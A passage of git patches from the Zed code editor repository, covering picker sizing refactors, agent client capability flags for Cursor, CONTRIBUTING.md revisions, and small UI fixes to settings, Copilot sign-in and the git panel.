     fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
-        v_flex().w(rems(22.)).child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
@@ -52,7 +52,13 @@ impl SettingsProfileSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(22.))
+                .minimum_results_width(rems(22.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
diff --git a/crates/settings_ui/src/components/font_picker.rs b/crates/settings_ui/src/components/font_picker.rs
index 9ede232f79571c..e8825b6c599245 100644
--- a/crates/settings_ui/src/components/font_picker.rs
+++ b/crates/settings_ui/src/components/font_picker.rs
@@ -183,4 +183,5 @@ pub fn font_picker(
         .minimum_results_width(rems_from_px(210.))
         .height(rems(18.))
         .no_vertical_padding()
+        .modal(false)
 }
diff --git a/crates/settings_ui/src/components/icon_theme_picker.rs b/crates/settings_ui/src/components/icon_theme_picker.rs
index 1f01bb93ee8237..903a57b5a517ba 100644
--- a/crates/settings_ui/src/components/icon_theme_picker.rs
+++ b/crates/settings_ui/src/components/icon_theme_picker.rs
@@ -196,4 +196,5 @@ pub fn icon_theme_picker(
         .minimum_results_width(rems_from_px(210.))
         .height(rems(18.))
         .no_vertical_padding()
+        .modal(false)
 }
diff --git a/crates/settings_ui/src/components/ollama_model_picker.rs b/crates/settings_ui/src/components/ollama_model_picker.rs
index d628bcfc4bcb2c..d6f0e7249c8d45 100644
--- a/crates/settings_ui/src/components/ollama_model_picker.rs
+++ b/crates/settings_ui/src/components/ollama_model_picker.rs
@@ -207,6 +207,7 @@ pub fn render_ollama_model_picker(
                     .minimum_results_width(rems_from_px(210.))
                     .height(rems(18.))
                     .no_vertical_padding()
+                    .modal(false)
             }))
         })
         .anchor(gpui::Anchor::TopLeft)
diff --git a/crates/settings_ui/src/components/theme_picker.rs b/crates/settings_ui/src/components/theme_picker.rs
index 89253692fde071..0980de1e4ee477 100644
--- a/crates/settings_ui/src/components/theme_picker.rs
+++ b/crates/settings_ui/src/components/theme_picker.rs
@@ -181,4 +181,5 @@ pub fn theme_picker(
         .minimum_results_width(rems_from_px(210.))
         .height(rems(18.))
         .no_vertical_padding()
+        .modal(false)
 }
diff --git a/crates/snippets_ui/src/snippets_ui.rs b/crates/snippets_ui/src/snippets_ui.rs
index 9d9ad8f8985fbb..9fc0a3fcb37c98 100644
--- a/crates/snippets_ui/src/snippets_ui.rs
+++ b/crates/snippets_ui/src/snippets_ui.rs
@@ -111,7 +111,13 @@ impl ScopeSelector {
         let delegate =
             ScopeSelectorDelegate::new(workspace, cx.entity().downgrade(), language_registry);
 
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
 
         Self { picker }
     }
@@ -129,7 +135,7 @@ impl Focusable for ScopeSelector {
 
 impl Render for ScopeSelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex().w(rems(34.)).child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
diff --git a/crates/tab_switcher/src/tab_switcher.rs b/crates/tab_switcher/src/tab_switcher.rs
index 5e3701ced7b03f..b66fbf0ad5c888 100644
--- a/crates/tab_switcher/src/tab_switcher.rs
+++ b/crates/tab_switcher/src/tab_switcher.rs
@@ -176,6 +176,8 @@ impl TabSwitcher {
                 } else {
                     Picker::nonsearchable_list(delegate, window, cx)
                 }
+                .initial_width(rems(PANEL_WIDTH_REMS))
+                .minimum_results_width(rems(PANEL_WIDTH_REMS))
             }),
             init_modifiers,
         }
diff --git a/crates/tasks_ui/src/modal.rs b/crates/tasks_ui/src/modal.rs
index a590002aebe4e7..a96e9db92caccc 100644
--- a/crates/tasks_ui/src/modal.rs
+++ b/crates/tasks_ui/src/modal.rs
@@ -149,6 +149,10 @@ impl TasksModal {
                 cx,
             )
             .modal(is_modal)
+            .initial_width(rems(34.))
+            .minimum_results_width(rems(34.))
+            .height(rems(24.))
+            .no_vertical_padding()
         });
         let mut _subscriptions = [
             cx.subscribe(&picker, |_, _, _: &DismissEvent, cx| {
@@ -211,7 +215,6 @@ impl Render for TasksModal {
     ) -> impl gpui::prelude::IntoElement {
         v_flex()
             .key_context("TasksModal")
-            .w(rems(34.))
             .child(self.picker.clone())
     }
 }
diff --git a/crates/theme_selector/src/icon_theme_selector.rs b/crates/theme_selector/src/icon_theme_selector.rs
index f677ce27da7d16..5318a13df730f6 100644
--- a/crates/theme_selector/src/icon_theme_selector.rs
+++ b/crates/theme_selector/src/icon_theme_selector.rs
@@ -45,7 +45,11 @@ impl IconThemeSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+        });
         Self { picker }
     }
 }
diff --git a/crates/theme_selector/src/theme_selector.rs b/crates/theme_selector/src/theme_selector.rs
index a245e95529b391..78a8d0b3b6788b 100644
--- a/crates/theme_selector/src/theme_selector.rs
+++ b/crates/theme_selector/src/theme_selector.rs
@@ -119,7 +119,11 @@ impl ThemeSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+        });
         Self { picker }
     }
 }
diff --git a/crates/toolchain_selector/src/toolchain_selector.rs b/crates/toolchain_selector/src/toolchain_selector.rs
index a85b722a6d5160..85b9bbdadc8099 100644
--- a/crates/toolchain_selector/src/toolchain_selector.rs
+++ b/crates/toolchain_selector/src/toolchain_selector.rs
@@ -112,7 +112,9 @@ impl AddToolchainState {
             let (lister, rx) = Self::create_path_browser_delegate(project.clone(), cx);
             let path_style = project.read(cx).path_style(cx);
             let picker = cx.new(|cx| {
-                let picker = Picker::uniform_list(lister, window, cx);
+                let picker = Picker::uniform_list(lister, window, cx)
+                    .initial_width(rems(34.))
+                    .minimum_results_width(rems(34.));
                 let mut worktree_root = worktree_root_path.to_string_lossy().into_owned();
                 worktree_root.push_str(path_style.primary_separator());
                 picker.set_query(&worktree_root, window, cx);
@@ -232,7 +234,9 @@ impl AddToolchainState {
                             let (delegate, rx) =
                                 Self::create_path_browser_delegate(this.project.clone(), cx);
                             picker.update(cx, |picker, cx| {
-                                *picker = Picker::uniform_list(delegate, window, cx);
+                                *picker = Picker::uniform_list(delegate, window, cx)
+                                    .initial_width(rems(34.))
+                                    .minimum_results_width(rems(34.));
                                 picker.set_query(path.to_string_lossy().as_ref(), window, cx);
                             });
                             *input_state = Self::wait_for_path(rx, window, cx);
@@ -684,6 +688,8 @@ impl ToolchainSelector {
                     cx,
                 );
                 Picker::uniform_list(delegate, window, cx)
+                    .initial_width(rems(34.))
+                    .minimum_results_width(rems(34.))
             });
             let picker_focus_handle = picker.focus_handle(cx);
             picker.update(cx, |picker, _| {

From 2df089ebe108f380dbc21dbdea9a9e4e740b5e7f Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 22 Jun 2026 13:36:15 +0200
Subject: [PATCH 025/772] acp: Advertise model picker support to Cursor
 (#59694)

Fixes an issue where users couldn't see when fast mode was enabled

Release Notes:

- acp: Fix for Cursor agent only being able to use Fast mode with
Composer 2.5
---
 crates/agent_servers/src/acp.rs    | 60 +++++++++++++++++++++++-------
 crates/agent_servers/src/custom.rs |  1 +
 2 files changed, 48 insertions(+), 13 deletions(-)

diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index f60c8b15196873..c3f920d36cb351 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -41,9 +41,10 @@ use acp_thread::{AcpThread, AuthRequired, LoadError, TerminalProviderEvent};
 use terminal::TerminalBuilder;
 use terminal::terminal_settings::{AlternateScroll, CursorShape};
 
-use crate::GEMINI_ID;
+use crate::{CURSOR_ID, GEMINI_ID};
 
 pub const GEMINI_TERMINAL_AUTH_METHOD_ID: &str = "spawn-gemini-cli";
+const PARAMETERIZED_MODEL_PICKER_META_KEY: &str = "parameterizedModelPicker";
 const MAX_DEBUG_BACKLOG_MESSAGES: usize = 2000;
 
 #[derive(Clone, Copy, Debug, PartialEq, Eq)]
@@ -735,6 +736,25 @@ fn connect_client_future(
         )
 }
 
+fn client_capabilities_for_agent(agent_id: &AgentId) -> acp::ClientCapabilities {
+    let mut meta = acp::Meta::from_iter([
+        ("terminal_output".into(), true.into()),
+        ("terminal-auth".into(), true.into()),
+    ]);
+
+    if agent_id.as_ref() == CURSOR_ID {
+        meta.insert(PARAMETERIZED_MODEL_PICKER_META_KEY.into(), true.into());
+    }
+
+    acp::ClientCapabilities::new()
+        .fs(acp::FileSystemCapabilities::new()
+            .read_text_file(true)
+            .write_text_file(true))
+        .terminal(true)
+        .auth(acp::AuthCapabilities::new().terminal(true))
+        .meta(meta)
+}
+
 impl AcpConnection {
     pub fn subscribe_debug_messages(
         &self,
@@ -922,18 +942,7 @@ impl AcpConnection {
         let initialize_response = connection
             .send_request(
                 acp::InitializeRequest::new(ProtocolVersion::V1)
-                    .client_capabilities(
-                        acp::ClientCapabilities::new()
-                            .fs(acp::FileSystemCapabilities::new()
-                                .read_text_file(true)
-                                .write_text_file(true))
-                            .terminal(true)
-                            .auth(acp::AuthCapabilities::new().terminal(true))
-                            .meta(acp::Meta::from_iter([
-                                ("terminal_output".into(), true.into()),
-                                ("terminal-auth".into(), true.into()),
-                            ])),
-                    )
+                    .client_capabilities(client_capabilities_for_agent(&agent_id))
                     .client_info(
                         acp::Implementation::new("zed", version)
                             .title(release_channel.map(ToOwned::to_owned)),
@@ -2457,6 +2466,31 @@ mod tests {
     use super::*;
     use settings::Settings as _;
 
+    #[test]
+    fn cursor_client_capabilities_include_parameterized_model_picker_meta() {
+        let capabilities = client_capabilities_for_agent(&AgentId::new(CURSOR_ID));
+        let meta = capabilities
+            .meta
+            .expect("expected client capabilities meta");
+
+        assert_eq!(
+            meta.get(PARAMETERIZED_MODEL_PICKER_META_KEY),
+            Some(&serde_json::json!(true))
+        );
+        assert_eq!(meta.get("terminal_output"), Some(&serde_json::json!(true)));
+        assert_eq!(meta.get("terminal-auth"), Some(&serde_json::json!(true)));
+    }
+
+    #[test]
+    fn non_cursor_client_capabilities_do_not_include_parameterized_model_picker_meta() {
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"));
+        let meta = capabilities
+            .meta
+            .expect("expected client capabilities meta");
+
+        assert!(!meta.contains_key(PARAMETERIZED_MODEL_PICKER_META_KEY));
+    }
+
     #[test]
     fn terminal_auth_task_builds_spawn_from_prebuilt_command() {
         let command = AgentServerCommand {
diff --git a/crates/agent_servers/src/custom.rs b/crates/agent_servers/src/custom.rs
index 1fe92dc9c75daf..6039d796764bcf 100644
--- a/crates/agent_servers/src/custom.rs
+++ b/crates/agent_servers/src/custom.rs
@@ -17,6 +17,7 @@ use ui::IconName;
 pub const GEMINI_ID: &str = "gemini";
 pub const CLAUDE_AGENT_ID: &str = "claude-acp";
 pub const CODEX_ID: &str = "codex-acp";
+pub const CURSOR_ID: &str = "cursor";
 
 /// A generic agent server implementation for custom user-defined agents
 pub struct CustomAgentServer {

From 51fac82ddd60380b4ea56d9e02b895628742c454 Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Mon, 22 Jun 2026 13:53:57 +0200
Subject: [PATCH 026/772] CONTRIBUTING.md: Add links and cosmetic changes
 (#58627)

Release Notes:

- N/A
---
 CONTRIBUTING.md | 74 +++++++++++++++++++++++++------------------------
 1 file changed, 38 insertions(+), 36 deletions(-)

diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index e0a3287387b47d..af888e39d3c267 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -13,46 +13,68 @@ Zed is a large project with a number of priorities. We spend most of
 our time working on what we believe the product needs, but we also love working
 with the community to improve the product in ways we haven't thought of (or had time to get to yet!)
 
-In particular we love PRs that are:
+In particular **we love PRs that are**:
 
-- Fixing or extending the docs.
-- Fixing bugs.
-- Small enhancements to existing features to make them work for more people (making things work on more platforms/modes/whatever).
-- Small extra features, like keybindings or actions you miss from other editors or extensions.
-- Part of a Community Program like [Let's Git Together](https://github.com/zed-industries/zed/issues/41541).
+- Fixing or extending the **docs**.
+- Fixing **bugs**.
+- **Small** enhancements to existing features to **make them work for more people** (making things work on more platforms/modes/whatever).
+- **Small** extra features, like keybindings or actions you miss from other editors or extensions.
+- Part of a **Community Program** like [Let's Git Together](https://github.com/zed-industries/zed/issues/41541) or [The Guild](https://zed.dev/community/guild).
+- Features we **explicitly called out as open to community contributions**
 
 If you're looking for concrete ideas:
 
-- [Triaged bugs with confirmed steps to reproduce](https://github.com/zed-industries/zed/issues?q=is%3Aissue%20state%3Aopen%20type%3ABug%20label%3Astate%3Areproducible).
-- [Area labels](https://github.com/zed-industries/zed/labels?q=area%3A*) to browse bugs in a specific part of the product you care about (after clicking on an area label, add type:Bug to the search).
+- [Docs issues](https://github.com/zed-industries/zed/issues?q=is%3Aissue%20state%3Aopen%20type%3ADocs)
+- Issues suitable for [first-time contributors](https://github.com/zed-industries/zed/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22.contrib%2Fgood%20first%20issue%22), [returning contributors](https://github.com/zed-industries/zed/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22.contrib%2Fgood%20second%20issue%22), and [expert contributors](https://github.com/zed-industries/zed/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22.contrib%2Fgood%20expert%20issue%22)
+- [Triaged bugs with confirmed steps to reproduce](https://github.com/zed-industries/zed/issues?q=is%3Aissue%20state%3Aopen%20type%3ABug%20label%3Astate%3Areproducible)
+- [Area labels](https://github.com/zed-industries/zed/labels?q=area%3A*) to browse bugs in a specific part of the product you care about (after clicking on an area label, add type:Bug to the search)
+- [The board with the features](https://github.com/orgs/zed-industries/projects/78/views/4) we explicitly invited the community's contributions for.
 
-If you're thinking about proposing or building a larger feature, read the [Zed Feature Process](./docs/src/development/feature-process.md) for how we think about feature design — what context to provide, what integration points to consider, and how to put together a strong proposal.
+**Thinking about proposing or building a larger feature? Don't start with a PR**, start with reading the [Zed Feature Process](./docs/src/development/feature-process.md) for how we think about feature design — what context to provide, what integration points to consider, and how to put together a strong proposal. The right place for the proposals is [GitHub discussions](https://github.com/zed-industries/zed/discussions) (not GitHub issues).
 
 ## Sending changes
 
 The Zed culture values working code and synchronous conversations over long
 discussion threads.
 
-The best way to get us to take a look at a proposed change is to send a pull
-request. We will get back to you (though this sometimes takes longer than we'd
-like, sorry).
+The best way to get us to take a look at a proposed change (excluding new features) is to send a pull request. We will get back to you (though this sometimes takes longer than we'd like, sorry). **Pinging the maintainers by their username or writing them emails spends their time but does not bump the priority of a particular PR.**
+
+If you need more feedback from us: the best way is to be responsive to
+GitHub comments, or to offer up time to pair with us.
+
+If you need help deciding how to fix a bug, or finish implementing a feature
+that we've agreed we want, please open a PR early so we can discuss how to make
+the change with code in hand.
 
 Although we will take a look, we tend to only merge about half the PRs that are
-submitted. If you'd like your PR to have the best chance of being merged:
+submitted. **If you'd like your PR to have the best chance of being merged**:
 
 - Make sure the change is **desired**: we're always happy to accept bugfixes,
-  but features should be confirmed with us first if you aim to avoid wasted
+  but **features should be confirmed with us first** if you aim to avoid wasted
   effort. If there isn't already a GitHub issue for your feature with staff
-  confirmation that we want it, start with a GitHub discussion rather than a PR.
+  confirmation that we want it, start with a [GitHub discussion](https://github.com/zed-industries/zed/discussions) rather than a PR.
   - This especially applies to any changes proposed to the Zed Extension API.
 - Include a clear description of **what you're solving**, and why it's important.
 - Include **tests**. For UI changes, consider updating visual regression tests (see [Building Zed for macOS](./docs/src/development/macos.md#visual-regression-tests)).
-- If it changes the UI, attach **screenshots** or screen recordings.
+- If the change is visible in the UI, attach **screenshots or screen recordings**.
 - Make the PR about **one thing only**, e.g. if it's a bugfix, don't add two
   features and a refactoring on top of that.
 - Keep AI assistance under your judgement and responsibility: it's unlikely
   we'll merge a vibe-coded PR that the author doesn't understand.
 
+
+## Things we will (probably) not merge
+
+Although there are few hard and fast rules, **typically we don't merge**:
+
+- Anything that can be provided by an extension. For example a new language, or theme. For adding themes or support for a new language to Zed, check out our [docs on developing extensions](https://zed.dev/docs/extensions/developing-extensions).
+- New file icons. Zed's default icon theme consists of icons that are hand-designed to fit together in a cohesive manner, please don't submit PRs with off-the-shelf SVGs.
+- Features where (in our subjective opinion) the extra complexity isn't worth it for the number of people who will benefit.
+- Giant refactorings.
+- Non-trivial changes with no tests.
+- Stylistic code changes that do not alter any app logic. Reducing allocations, removing `.unwrap()`s, fixing typos is great; making code "more readable" — maybe not so much.
+- Anything that seems AI-generated without understanding the output.
+
 ### AI Policy
 
 We welcome the use of LLMs for coding, but we hold a high bar for all contributions, and **we expect a human in the loop who genuinely understands the work an LLM produces** on their behalf. For that reason, we **don't accept contributions from autonomous agents**. Pull requests that appear to violate this may be closed, sometimes without notice.
@@ -69,13 +91,6 @@ This policy was adapted from [ripgrep's AI policy](https://github.com/BurntSushi
 - If the fix/feature is obviously great, and the code is nearly great. Send PR comments, or offer to pair to get things perfect.
 - If the fix/feature is not obviously great, or the code needs rewriting from scratch. Close the PR with a thank you and some explanation.
 
-If you need more feedback from us: the best way is to be responsive to
-Github comments, or to offer up time to pair with us.
-
-If you need help deciding how to fix a bug, or finish implementing a feature
-that we've agreed we want, please open a PR early so we can discuss how to make
-the change with code in hand.
-
 ### UI/UX checklist
 
 When your changes affect UI, consult this checklist:
@@ -138,19 +153,6 @@ When your changes affect UI, consult this checklist:
 - Are power features discoverable but not intrusive?
 - Is there a path from beginner → expert usage (progressive disclosure)?
 
-## Things we will (probably) not merge
-
-Although there are few hard and fast rules, typically we don't merge:
-
-- Anything that can be provided by an extension. For example a new language, or theme. For adding themes or support for a new language to Zed, check out our [docs on developing extensions](https://zed.dev/docs/extensions/developing-extensions).
-- Changes to the Zed Extension API submitted without prior discussion involving Zed staff.
-- New file icons. Zed's default icon theme consists of icons that are hand-designed to fit together in a cohesive manner, please don't submit PRs with off-the-shelf SVGs.
-- Features where (in our subjective opinion) the extra complexity isn't worth it for the number of people who will benefit.
-- Giant refactorings.
-- Non-trivial changes with no tests.
-- Stylistic code changes that do not alter any app logic. Reducing allocations, removing `.unwrap()`s, fixing typos is great; making code "more readable" — maybe not so much.
-- Anything that seems AI-generated without understanding the output.
-
 ## Bird's-eye view of Zed
 
 We suggest you keep the [Zed glossary](docs/src/development/glossary.md) at your side when starting out. It lists and explains some of the structures and terms you will see throughout the codebase.

From e8e479c3c59376c01b03956939458b56a50819a8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tom=20Houl=C3=A9?=
 <13155277+tomhoule@users.noreply.github.com>
Date: Mon, 22 Jun 2026 14:20:07 +0200
Subject: [PATCH 027/772] settings_ui: Fix env var name input for local MCPs
 (#59690)

I wanted to add env vars to a local MCP server from the settings UI, and
notices the variable name input does not work. This fixes it.

The key input was wrapped in `div().flex_1().min_w_0()` while the value
was rendered directly. A single-line editor asks for `width: 100%`,
which needs a parent with a definite width to resolve against;
`flex-basis: 0` together with `min-width: 0` collapses that width to
zero, and a zero-width editor paints no hitbox and so never receives
focus or input. Removing the wrapper so the key renders like the value
(matching the equivalent inputs on the external agents form) fixes it.
The key/value section is shared, so this also restores header editing
for remote servers, not just env vars for local ones.

Current Nightly:


https://github.com/user-attachments/assets/f6419785-69e4-482d-9cd5-3e60abafb431

This branch:


https://github.com/user-attachments/assets/b9a85be5-208c-4779-9b48-154f08c7fd04

Release Notes:

- N/A
---
 crates/settings_ui/src/pages/mcp_servers_page.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/settings_ui/src/pages/mcp_servers_page.rs b/crates/settings_ui/src/pages/mcp_servers_page.rs
index d31e158ce1e6b6..e85f8ea16576dd 100644
--- a/crates/settings_ui/src/pages/mcp_servers_page.rs
+++ b/crates/settings_ui/src/pages/mcp_servers_page.rs
@@ -1045,7 +1045,7 @@ fn render_kv_section(
                     h_flex()
                         .gap_1()
                         .items_center()
-                        .child(div().flex_1().min_w_0().child(input_box(&row.key, cx)))
+                        .child(input_box(&row.key, cx))
                         .child(
                             IconButton::new((kind.remove_id(), ix), IconName::Close)
                                 .icon_size(IconSize::Small)

From 7b73d5ccc3fb3dc151bce3b2ee992047a014bb6a Mon Sep 17 00:00:00 2001
From: Nikolay Bukhalov <137557572+nzb3@users.noreply.github.com>
Date: Mon, 22 Jun 2026 15:29:02 +0300
Subject: [PATCH 028/772] copilot_ui: Fix sign-in window floating above all
 applications (#59657)

The Copilot code verification window was opened with
`WindowKind::PopUp`,
which causes the window to float above all other applications.
Changed to `WindowKind::Normal` so it stays scoped to Zed.

Fixes #51043

Release Notes:

- Fixed Copilot sign-in window floating above all other applications
instead of being scoped to Zed
---
 crates/copilot_ui/src/sign_in.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/copilot_ui/src/sign_in.rs b/crates/copilot_ui/src/sign_in.rs
index 6d1f67607fc48f..28f8b25e0f11d0 100644
--- a/crates/copilot_ui/src/sign_in.rs
+++ b/crates/copilot_ui/src/sign_in.rs
@@ -63,7 +63,7 @@ fn open_copilot_code_verification_window(copilot: &Entity<Copilot>, window: &Win
     ));
     cx.open_window(
         WindowOptions {
-            kind: gpui::WindowKind::PopUp,
+            kind: gpui::WindowKind::Floating,
             window_bounds: Some(window_bounds),
             is_resizable: false,
             is_movable: true,

From e1bfff8d090e7511308077fdd92fc051af7d4be1 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 22 Jun 2026 09:35:20 -0300
Subject: [PATCH 029/772] git_panel: Add some design tweaks (#59699)

Small things here: ensuring padding and responsiveness on the header is
good, make the global diff stat part of the "view diff" button, and
conditionally render the "sort by" filter section in the menu (no need
to render it if it's all disabled).

Release Notes:

- N/A
---
 crates/git_ui/src/git_panel.rs | 117 +++++++++++++++++----------------
 1 file changed, 60 insertions(+), 57 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 5af11d0a80a740..9672b0d244a246 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -234,28 +234,28 @@ fn git_panel_view_options_menu(
                         }
                     }),
             )
-            .separator()
-            .header("Sort By")
-            .item(
-                ContextMenuEntry::new("Path")
-                    .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Path)
-                    .disabled(state.tree_view)
-                    .handler(move |window, cx| {
-                        if !state.tree_view {
-                            window.dispatch_action(Box::new(SetSortByPath), cx);
-                        }
-                    }),
-            )
-            .item(
-                ContextMenuEntry::new("Name")
-                    .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Name)
-                    .disabled(state.tree_view)
-                    .handler(move |window, cx| {
-                        if !state.tree_view {
-                            window.dispatch_action(Box::new(SetSortByName), cx);
-                        }
-                    }),
-            )
+            .when(!state.tree_view, |this| {
+                this.separator()
+                    .header("Sort By")
+                    .item(
+                        ContextMenuEntry::new("Path")
+                            .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Path)
+                            .handler(move |window, cx| {
+                                if !state.tree_view {
+                                    window.dispatch_action(Box::new(SetSortByPath), cx);
+                                }
+                            }),
+                    )
+                    .item(
+                        ContextMenuEntry::new("Name")
+                            .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Name)
+                            .handler(move |window, cx| {
+                                if !state.tree_view {
+                                    window.dispatch_action(Box::new(SetSortByName), cx);
+                                }
+                            }),
+                    )
+            })
             .separator()
             .header("Group By")
             .item(
@@ -4457,10 +4457,10 @@ impl GitPanel {
         let focus_handle = self.focus_handle.clone();
 
         PopoverMenu::new(id.into())
-            .trigger(
+            .trigger_with_tooltip(
                 IconButton::new("view-options-menu-trigger", IconName::Sliders)
-                    .icon_size(IconSize::Small)
-                    .tooltip(Tooltip::text("View Options")),
+                    .icon_size(IconSize::Small),
+                Tooltip::text("View Options"),
             )
             .menu(move |window, cx| {
                 Some(git_panel_view_options_menu(
@@ -4814,48 +4814,51 @@ impl GitPanel {
 
         Some(
             h_flex()
-                .h(Tab::container_height(cx))
+                .min_h(Tab::container_height(cx))
                 .w_full()
-                .px_1()
+                .pl_1()
+                .pr_2()
                 .flex_none()
+                .flex_wrap()
+                .gap_1()
                 .justify_between()
                 .child(
-                    h_flex()
-                        .gap_1p5()
+                    ButtonLike::new("diff-button")
                         .child(
-                            Button::new("changes", "View Diff")
-                                .label_size(LabelSize::Small)
-                                .color(Color::Muted)
-                                .start_icon(
+                            h_flex()
+                                .gap_1()
+                                .child(
                                     Icon::new(IconName::Diff)
                                         .size(IconSize::Small)
                                         .color(Color::Muted),
                                 )
-                                .tooltip(Tooltip::for_action_title_in(
-                                    "View Diff",
-                                    &Diff,
-                                    &self.focus_handle,
-                                ))
-                                .on_click(|_, _, cx| {
-                                    cx.defer(|cx| {
-                                        cx.dispatch_action(&Diff);
-                                    })
-                                }),
-                        )
-                        .when(
-                            GitPanelSettings::get_global(cx).diff_stats
-                                && diff_stat_total != DiffStat::default(),
-                            |this| {
-                                this.child(
-                                    ui::DiffStat::new(
-                                        "changes-diff-stat-total",
-                                        diff_stat_total.added as usize,
-                                        diff_stat_total.deleted as usize,
-                                    )
-                                    .tooltip("Total tracked changes"),
+                                .child(
+                                    Label::new("View Diff")
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted),
                                 )
-                            },
-                        ),
+                                .when(
+                                    GitPanelSettings::get_global(cx).diff_stats
+                                        && diff_stat_total != DiffStat::default(),
+                                    |this| {
+                                        this.child(ui::DiffStat::new(
+                                            "changes-diff-stat-total",
+                                            diff_stat_total.added as usize,
+                                            diff_stat_total.deleted as usize,
+                                        ))
+                                    },
+                                ),
+                        )
+                        .tooltip(Tooltip::for_action_title_in(
+                            "View Diff",
+                            &Diff,
+                            &self.focus_handle,
+                        ))
+                        .on_click(|_, _, cx| {
+                            cx.defer(|cx| {
+                                cx.dispatch_action(&Diff);
+                            })
+                        }),
                 )
                 .child(
                     h_flex()

From 3601a7c8c256c2e03a652ff4afc562f4ca328175 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 22 Jun 2026 14:55:51 +0200
Subject: [PATCH 030/772] Re-add section about extension API to
 `CONTRIBUTING.md` (#59702)

This was lost in https://github.com/zed-industries/zed/pull/58627

Release Notes:

- N/A
---
 CONTRIBUTING.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index af888e39d3c267..e53950bbefd97a 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -68,6 +68,7 @@ submitted. **If you'd like your PR to have the best chance of being merged**:
 Although there are few hard and fast rules, **typically we don't merge**:
 
 - Anything that can be provided by an extension. For example a new language, or theme. For adding themes or support for a new language to Zed, check out our [docs on developing extensions](https://zed.dev/docs/extensions/developing-extensions).
+- Changes to the Zed Extension API submitted without prior discussion involving Zed staff.
 - New file icons. Zed's default icon theme consists of icons that are hand-designed to fit together in a cohesive manner, please don't submit PRs with off-the-shelf SVGs.
 - Features where (in our subjective opinion) the extra complexity isn't worth it for the number of people who will benefit.
 - Giant refactorings.

From e4dbdaa622bf04d4e48eba78204d36f661cea0eb Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 22 Jun 2026 15:00:51 +0200
Subject: [PATCH 031/772] Remove cherry-pick-bot config (#59703)

Although not listed on https://killedbygoogle.com/, the Google
cherry-pick bot was killed some time ago and we now use our own bot for
this. Thus we can safely remove the config here.

Also, fixes the shebang in the cherry-pick script.

Release Notes:

- N/A
---
 .github/cherry-pick-bot.yml | 2 --
 script/cherry-pick          | 2 +-
 2 files changed, 1 insertion(+), 3 deletions(-)
 delete mode 100644 .github/cherry-pick-bot.yml

diff --git a/.github/cherry-pick-bot.yml b/.github/cherry-pick-bot.yml
deleted file mode 100644
index 1f62315d79dcac..00000000000000
--- a/.github/cherry-pick-bot.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-enabled: true
-preservePullRequestTitle: true
diff --git a/script/cherry-pick b/script/cherry-pick
index 37106943f4d40a..fdfce758e26cd6 100755
--- a/script/cherry-pick
+++ b/script/cherry-pick
@@ -1,4 +1,4 @@
-# #!/bin/bash
+#!/usr/bin/env bash
 set -euxo pipefail
 
 if [ "$#" -ne 3 ]; then

From cf93437d6a4d64c4ab1ac5c2961d14ec6d756f97 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 22 Jun 2026 10:42:14 -0300
Subject: [PATCH 032/772] agent_ui: Close search when hitting escape from
 message editor (#59705)

This PR makes the search-closing behavior consistent with regular
buffers, where hitting escape when focused in the message editor will
close it (before it cancels the message). Also, made the whole search
bar height match the toolbar for perfect grid alignment.

Release Notes:

- Agent: Fixed the closing behavior of the in-thread search by enabling
`escape` to close it when focused in the message editor.
